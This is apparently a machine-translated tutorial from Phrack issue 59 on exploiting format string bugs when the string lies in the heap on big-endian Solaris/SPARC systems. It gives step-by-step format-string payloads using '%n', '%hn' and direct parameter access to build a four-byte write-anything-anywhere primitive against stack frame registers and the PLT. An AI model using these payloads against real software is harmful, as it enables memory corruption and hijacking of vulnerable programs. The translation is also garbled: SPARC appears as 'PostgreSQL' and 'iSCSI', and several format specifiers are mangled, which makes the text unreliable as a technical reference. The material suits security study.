Advanced Format String Exploit technology P59-0x07 (II)
Creation Time:
Article attributes: Translation
Source: http://www.whitecell.org
Article submission: debuger (z_yikai_at_163.net)
Advanced Format String Exploit technology P59-0x07 (II)
| = ----------------------- = [Riq <riq@corest.com>] = ----------------------- |
Original article: <advances in format string exploiting>
By Gera <gera@corest.com>, Riq <riq@corest.com>
Translation yikaikai <yikaikai@sina.com> http://www.whitecell.org
-- [Directory
1-Introduction
2-heap
3-Tips
3.1-Example 1
3.2-Example 2
3.3-Example 3
3.4-Example 4
4-4 bytes write-anything-anywhere permission abuse
4.1-Example 5
5-conclusion
5.1-is it dangerous to overwrite the stack frame register local 0?
5.2-is this method reliable?
5.3-can I run it on the i386 platform?
6-postscript
6.1-References
6.2-Thanks
-- [1-Introduction
Normally, the format string is located in the stack, but it is located in the heap, and you cannot see it.
Scut mentioned in his article "formatting string overflow attack section6.4
Http://www.team-teso.net/articles/formatstring/
Here I will introduce a general method for processing this string on the big-endian machines,
Similar to i386
-- [2-heap
In the stack, you can find the frame structure of the stack. The stack structure includes local variables, registers, and
Pointer, return address, etc.
Since we can see this with formatted strings, we should take a closer look.
The following figure shows the structure of the PostgreSQL-based stack.
It indicates that the world wide variety of General registers (each group contains eight registers) are available. One of these registers is a global register,
The other three registers are out, local, in.
Frame 0 frame 1 frame 2
[L0] + ----> [l0] + ----> [l0]
[L1] | [L1] | [L1]
... |...
[L7] | [L7] | [L7]
[I0] | [I0] | [I0]
[I1] | [I1] | [I1]
... |...
[I5] | [I5] | [I5]
[FP] ---- + [FP] ---- + [FP]
[I7] [i7] [i7]
[Temp 1] [Temp 1]
[Temp 2]
And so on.
The register FP is a pointer to the call frame. You can guess that 'fp 'represents the frame pointer.
Temp_n is the local variable stored in the stack. Frame 1 starts from the end of the local variable of frame 0,
Frame 2 starts from the end of the local variable of frame 1, and so on.
All frames are stored in the stack, so we can use our formatted strings to see these
-- [3-small knock
Knocking on the door is that each stack frame has a pointer pointing to the previous stack frame. The more addresses we get to point to the stack,
The more likely it will be to succeed.
Why? If we have a pointer to our own stack, We can overwrite the address pointing to any value.
-- [3.1-Example 1
Suppose we want to put 0x1234 into the register local 0 of frame 1, what we need to do is try to create
Format the string. The length is exactly at the position of the frame 0 FP, that is, 0x1234. At that position, we use the format string.
Put the character '% n '.
Assume that the first parameter is in the local variable 0 of frame 0. Our formatted string is as follows (described in Python)
'% 8x' * 8 + # eight local registers are displayed.
'% 8x' * 5 + # Bring up the first five registers in
'% 4640d' + # change the string length (4640 is 0x1220) and...
'% N' # write at the position indicated by FP (which is frame 1's l0)
After the formatted string is executed, the stack looks like this:
Frame 0 frame 1
[L0] + ----> [0x00001234]
[L1] | [L1]
... |...
[L7] | [L7]
[I0] | [I0]
[I1] | [I1]
... |...
[I5] | [I5]
[FP] ---- + [FP]
[I7] [i7]
[Temp 1] [Temp 1]
[Temp 2]
-- [3.2-Example 2
If we want to write a number larger than 0x20001234, we should look for two
Pointer, which looks as follows
Frame 0 frame 1
[L0] + ----> [l0]
[L1] | [L1]
... |...
[L7] | [L7]
[I0] | [I0]
[I1] | [I1]
... |...
[I5] | [I5]
[FP] ---- + [FP]
[I7] | [i7]
[Temp 1] ---- + [Temp 1]
[Temp 2]
[Note: it is not uncommon to find two pointers pointing to the same address.]
Therefore, our formatted string looks as follows
'% 8x' * 8 + # eight local registers are displayed.
'% 8x' * 5 + # Bring up the first five registers in
'% 4640d' + # change the format string length (4640 = 0x1220)
'% N' # write at the position indicated by FP (which is frame 1's l0)
'% 'D d' + # change the format string length again
'% HN' # This time changes the upper part!
We will get:
Frame 0 frame 1
[L0] + ----> [0x20001234]
[L1] | [L1]
... |...
[L7] | [L7]
[I0] | [I0]
[I1] | [I1]
... |...
[I5] | [I5]
[FP] ---- + [FP]
[I7] | [i7]
[Temp 1] ---- + [Temp 1]
[Temp 2]
-[3.3-Example 3
In this example, we only have one pointer. In the formatted string, we can use direct access to get the same
In the format of '% arg_number $', where arg_number is between 0 and 30 (Solaris ).
My Format String is as follows:
'% 4640d' + # change the length
'% 15 $ n' + # place where 15th parameters are written (15th parameters are FP locations !)
'% 'D d' + # change the length again
'% 15 $ HN' # Write again (high part )!
Therefore, we will get the following results:
Frame 0 frame 1
[L0] + ----> [0x20001234]
[L1] | [L1]
... |...
[L7] | [L7]
[I0] | [I0]
[I1] | [I1]
... |...
[I5] | [I5]
[FP] ---- + [FP]
[I7] [i7]
[Temp 1] [Temp 1]
[Temp 2]
-- [3.4-Example 4
But the two pointers do not point to the same address in the stack.
This is often beyond the range of the first 30 parameters. How can this problem be solved?
To know how to use simple '% n', you can write very large numbers, such as 0x0028000 or larger. You should know
The binary dynamic Connection Library is usually located at a low address, such as 0x0002 ???. Therefore, only one pointer points to the stack,
You can get a pointer to the binary PLT.
I don't want to use a diagram to represent it here.
-- [4-4-byte write-anything-anywhere permission abuse
-- [4.1-Example 5
To obtain the 4write-anything-anywhere permission, we should repeat what the stack frame register local 0 has done,
In another Redo, such as frame 1, The result looks as follows:
Frame 0 frame 1 frame 2
[L0] + ----> [0x00029e8c] + ----> [0x00029e8e]
[L1] | [L1] | [L1]
... |...
[L7] | [L7] | [L7]
[I0] | [I0] | [I0]
[I1] | [I1] | [I1]
... |...
[I5] | [I5] | [I5]
[FP] ---- + [FP] ---- + [FP]
[I7] [i7] | [i7]
[Temp 1] [Temp 1] |
[Temp 2] ---- +
[Temp 3]
[Note: as long as the code we want to change is within 0x00029e8c]
Now we have two pointers, one pointing to 0x00029e8c and the other pointing to 0x00029e8e.
We have achieved our goal. Now we can attack this location, just like attacking other format strings.
The format string looks as follows:
'% 4640d' + # change the length
'% 15 $ n' + # Write the low part of frame 1 register local 0 using direct access
'% 'D d' + # change the length again
'% 15 $ HN' + # overwrite the upper part
'% 9876d' + # change the length
'% 18 $ HN' + # And write like any Format String Exploit!
'% 8x' * 13 + # pop up 13 parameters (from 15 parameters)
'% 6789d' + # change the length
'% N' + # Write low part
'% 8x' + # pop-up
'% 1122d' + # change the length
'% HN' + # Write the High-level part
'% 2211d' + # change the length
'% HN' # rewrite again, just like any Exploit
You can see that this is only done by a format string, but not always like this,
If we cannot create two pointers, what we can do is to misuse the format string twice.
First, create a pointer pointing to 0x00029e8c, and then overwrite 0x00029e8c with '% HN'
Forward pointer.
Then, we misuse the format string once. Just like the previous one, we only use the pointer to 0x00029e8c
Pointer.
-- [5] Conclusion
-- [5.1-is it dangerous to overwrite the stack frame register local 0?
This is not the best, but practice shows that there is no problem in changing the value of local 0. Sometimes you may be unfortunate, you would rather change
Local 0 of the main () or _ start () Frame
-[5.2-is this method reliable?
If you know the stack or the size of the stack frame, it is reliable. Otherwise, this technology cannot help
How much are you.
I think when you have to overwrite the address with a value of 0, this may be your final choice, because you cannot put 0 into the format
String (the string will be truncated)
Similarly, the binary process join table (PLT) is located at a low address, and the PLT that covers binary is more reliable than libc 'splt,
Why? I think the change in the Connection Library under Solaris is more frequent than that of the binary that you want to exploit. Maybe you want to exploit
Binary Code will never change
-- [5.3-can I run it on the i386 platform?
Yes, maybe. I think you may encounter '% n' and' % HN 'problems,
(I386 is little-Endian), but I believe that others can run normally on 386.
-- [6-postscript
-- [6.1-References
Very complete format strings article by scut:
* Http://www.team-teso.net/articles/formatstring/
-- [6.2-thanks:
Juliano, for lew.me know that I can overwrite, as may times as I
Want an address using 'direct access', and other tips about format strings.
Gera, for his ideas, suggestions and fixes.
Javier, for helping me in iSCSI.
Bombi, for trying her best to correct my English.
And Bruce, for correcting my English, too.
Riq.
| = [EOF] = --------------------------------------------------------------- = |
[Thanks to alert7, daying's support for me during translation, especially alert7 raised many questions in my translation draft,
And give some references <Solaris for iSCSI Stack Overflow programming (1)> warning3 (warning3@hotmail.com)]